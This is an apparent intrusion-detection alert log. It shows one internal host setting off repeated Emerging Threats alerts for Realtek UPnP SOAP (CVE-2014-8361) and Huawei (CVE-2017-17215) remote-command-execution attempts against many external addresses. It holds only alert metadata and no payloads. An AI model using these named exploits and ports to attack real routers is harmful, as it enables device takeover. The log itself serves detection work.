Timestamp:	07/20/24-23:01:06.122522
SID:	2025132
Source Port:	51734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 42.203.55.38

Timestamp:	07/20/24-23:01:23.157753
SID:	2025132
Source Port:	43956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 142.216.142.217

Timestamp:	07/20/24-23:01:34.958511
SID:	2831300
Source Port:	48284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.232.183.8

Timestamp:	07/20/24-23:01:05.893818
SID:	2835222
Source Port:	41780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.133.19

Timestamp:	07/20/24-23:01:02.415803
SID:	2829579
Source Port:	36306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.101.187.66

Timestamp:	07/20/24-23:01:24.800803
SID:	2027339
Source Port:	52652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.33.145

Timestamp:	07/20/24-23:01:28.184352
SID:	2835222
Source Port:	32884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.169.124.166

Timestamp:	07/20/24-23:01:05.898280
SID:	2829579
Source Port:	46414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.166.112

Timestamp:	07/20/24-23:01:02.414528
SID:	2829579
Source Port:	48024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.162.156.187

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	35378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 182.207.82.188

Timestamp:	07/20/24-23:01:13.331209
SID:	2831300
Source Port:	37618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.184.169.139

Timestamp:	07/20/24-23:01:13.331310
SID:	2027339
Source Port:	37720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 40.39.6.95

Timestamp:	07/20/24-23:01:34.958933
SID:	2831300
Source Port:	59908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.107.16

Timestamp:	07/20/24-23:01:05.902118
SID:	2829579
Source Port:	49318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.193.78.117

Timestamp:	07/20/24-23:01:22.782671
SID:	2835222
Source Port:	57826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 209.57.40.96

Timestamp:	07/20/24-23:01:29.679335
SID:	2025132
Source Port:	40740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 51.61.18.6

Timestamp:	07/20/24-23:01:34.923386
SID:	2027339
Source Port:	44044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.192.227

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
Source Port:	59068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 189.144.99.123

Timestamp:	07/20/24-23:01:23.047135
SID:	2025132
Source Port:	49012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 179.90.129.47

Timestamp:	07/20/24-23:01:06.606086
SID:	2027339
Source Port:	60124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.141.22

Timestamp:	07/20/24-23:01:22.781976
SID:	2835222
Source Port:	34278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 157.141.84.47

Timestamp:	07/20/24-23:01:34.204689
SID:	2025132
Source Port:	36290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.150.115.134

Timestamp:	07/20/24-23:01:29.176022
SID:	2027339
Source Port:	38314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 50.184.118.30

Timestamp:	07/20/24-23:01:34.949877
SID:	2831300
Source Port:	41996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.173.107

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	55814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 221.142.162.73

Timestamp:	07/20/24-23:01:34.958932
SID:	2027339
Source Port:	46122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.136.163.60

Timestamp:	07/20/24-23:01:22.790734
SID:	2829579
Source Port:	38814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.10.137.209

Timestamp:	07/20/24-23:01:22.777004
SID:	2829579
Source Port:	47124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.27.29.207

Timestamp:	07/20/24-23:01:11.467355
SID:	2829579
Source Port:	60952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.232.153

Timestamp:	07/20/24-23:01:19.227177
SID:	2835222
Source Port:	52086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 133.211.191.92

Timestamp:	07/20/24-23:01:33.491218
SID:	2025132
Source Port:	60034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 175.184.156.103

Timestamp:	07/20/24-23:01:34.931386
SID:	2027339
Source Port:	56628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.2.101

Timestamp:	07/20/24-23:01:05.937693
SID:	2835222
Source Port:	54926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.180.192.98

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	44122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 47.7.230.238

Timestamp:	07/20/24-23:01:30.719058
SID:	2027339
Source Port:	46952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 35.151.246.95

Timestamp:	07/20/24-23:01:34.945022
SID:	2831300
Source Port:	58364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.101.223.29

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	49352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.236.255

Timestamp:	07/20/24-23:01:02.417044
SID:	2835222
Source Port:	59758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 84.193.36.239

Timestamp:	07/20/24-23:01:29.186915
SID:	2831300
Source Port:	44608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 138.145.119.211

Timestamp:	07/20/24-23:01:33.598861
SID:	2025132
Source Port:	38018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 76.153.92.60

Timestamp:	07/20/24-23:01:34.923386
SID:	2831300
Source Port:	38414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.222.174.251

Timestamp:	07/20/24-23:01:13.333349
SID:	2027339
Source Port:	47854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 155.24.113.226

Timestamp:	07/20/24-23:01:24.438895
SID:	2027339
Source Port:	53036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.118.231

Timestamp:	07/20/24-23:01:07.658261
SID:	2829579
Source Port:	41598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.51.153.158

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	36864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 177.133.134.55

Timestamp:	07/20/24-23:01:13.328744
SID:	2831300
Source Port:	59564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.241.94.91

Timestamp:	07/20/24-23:01:37.214680
SID:	2829579
Source Port:	45988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.156.8

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	44408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 166.213.219.123

Timestamp:	07/20/24-23:01:29.179619
SID:	2027339
Source Port:	36626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.10.163.45

Timestamp:	07/20/24-23:01:37.208725
SID:	2829579
Source Port:	53182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.251.148.75

Timestamp:	07/20/24-23:01:22.796666
SID:	2835222
Source Port:	55228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.216.172

Timestamp:	07/20/24-23:01:28.143794
SID:	2829579
Source Port:	45436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.14.114.28

Timestamp:	07/20/24-23:01:33.864769
SID:	2027339
Source Port:	51250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.43.89

Timestamp:	07/20/24-23:01:25.293652
SID:	2835222
Source Port:	35560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.171.115

Timestamp:	07/20/24-23:01:14.431063
SID:	2835222
Source Port:	57606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.16.177.241

Timestamp:	07/20/24-23:01:33.737025
SID:	2027339
Source Port:	58002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.170.80

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	43756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 93.150.15.52

Timestamp:	07/20/24-23:01:29.169782
SID:	2027339
Source Port:	35300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.68.173.47

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	46468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 188.64.202.52

Timestamp:	07/20/24-23:01:06.166101
SID:	2027339
Source Port:	43302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 90.38.224.171

Timestamp:	07/20/24-23:01:33.183640
SID:	2025132
Source Port:	58592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.142.158

Timestamp:	07/20/24-23:01:14.397897
SID:	2829579
Source Port:	41518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.140.225.255

Timestamp:	07/20/24-23:01:07.647712
SID:	2829579
Source Port:	42796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.95.127.113

Timestamp:	07/20/24-23:01:19.233507
SID:	2835222
Source Port:	48254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 178.190.243.0

Timestamp:	07/20/24-23:01:24.075466
SID:	2831300
Source Port:	42398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.132.193.104

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	39920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.101.77.2

Timestamp:	07/20/24-23:01:29.181762
SID:	2027339
Source Port:	47540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.126.120.18

Timestamp:	07/20/24-23:01:13.331144
SID:	2027339
Source Port:	60488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 186.138.141.187

Timestamp:	07/20/24-23:01:29.187581
SID:	2831300
Source Port:	60964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.40.188.74

Timestamp:	07/20/24-23:01:05.900314
SID:	2829579
Source Port:	53284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 46.136.73.170

Timestamp:	07/20/24-23:01:31.087349
SID:	2025132
Source Port:	58512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.224.36

Timestamp:	07/20/24-23:01:14.487012
SID:	2835222
Source Port:	60582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.244.140

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	43986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.187.212.131

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	53210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 31.171.131.217

Timestamp:	07/20/24-23:01:34.907114
SID:	2831300
Source Port:	42736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 82.86.85.182

Timestamp:	07/20/24-23:01:05.453905
SID:	2027339
Source Port:	50060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.54.132.20

Timestamp:	07/20/24-23:01:37.227565
SID:	2829579
Source Port:	39776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.153.238.151

Timestamp:	07/20/24-23:01:22.774812
SID:	2835222
Source Port:	37864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.180.182.216

Timestamp:	07/20/24-23:01:25.301172
SID:	2829579
Source Port:	40870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.66.251.190

Timestamp:	07/20/24-23:01:29.204277
SID:	2027339
Source Port:	54752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.254.233.192

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	49854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.106.45

Timestamp:	07/20/24-23:01:02.414137
SID:	2829579
Source Port:	52980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.1.52

Timestamp:	07/20/24-23:01:19.334468
SID:	2829579
Source Port:	44764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.154.38.130

Timestamp:	07/20/24-23:01:25.117603
SID:	2025132
Source Port:	33056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.199.109.54

Timestamp:	07/20/24-23:01:02.410932
SID:	2829579
Source Port:	36238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.48.255

Timestamp:	07/20/24-23:01:25.287093
SID:	2835222
Source Port:	43656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.41.90.82

Timestamp:	07/20/24-23:01:05.893818
SID:	2835222
Source Port:	38882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 209.87.192.88

Timestamp:	07/20/24-23:01:13.333101
SID:	2831300
Source Port:	49812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.194.130.244

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	43242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.88.50.174

Timestamp:	07/20/24-23:01:05.997211
SID:	2027339
Source Port:	49556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 181.146.224.142

Timestamp:	07/20/24-23:01:05.819466
SID:	2025132
Source Port:	52958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.29.81.159

Timestamp:	07/20/24-23:01:07.674222
SID:	2835222
Source Port:	43034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 44.203.11.143

Timestamp:	07/20/24-23:01:34.090702
SID:	2027339
Source Port:	48438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 25.104.214.117

Timestamp:	07/20/24-23:01:25.291636
SID:	2835222
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 200.181.183.183

Timestamp:	07/20/24-23:01:05.468860
SID:	2027339
Source Port:	43334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.222.89.42

Timestamp:	07/20/24-23:01:25.231958
SID:	2835222
Source Port:	48604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.148.200

Timestamp:	07/20/24-23:01:05.898280
SID:	2829579
Source Port:	55460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 73.33.53.195

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	58318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.32.235

Timestamp:	07/20/24-23:01:33.043558
SID:	2835222
Source Port:	40182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 144.251.49.213

Timestamp:	07/20/24-23:01:23.061358
SID:	2027339
Source Port:	56716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.5.48

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	54416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

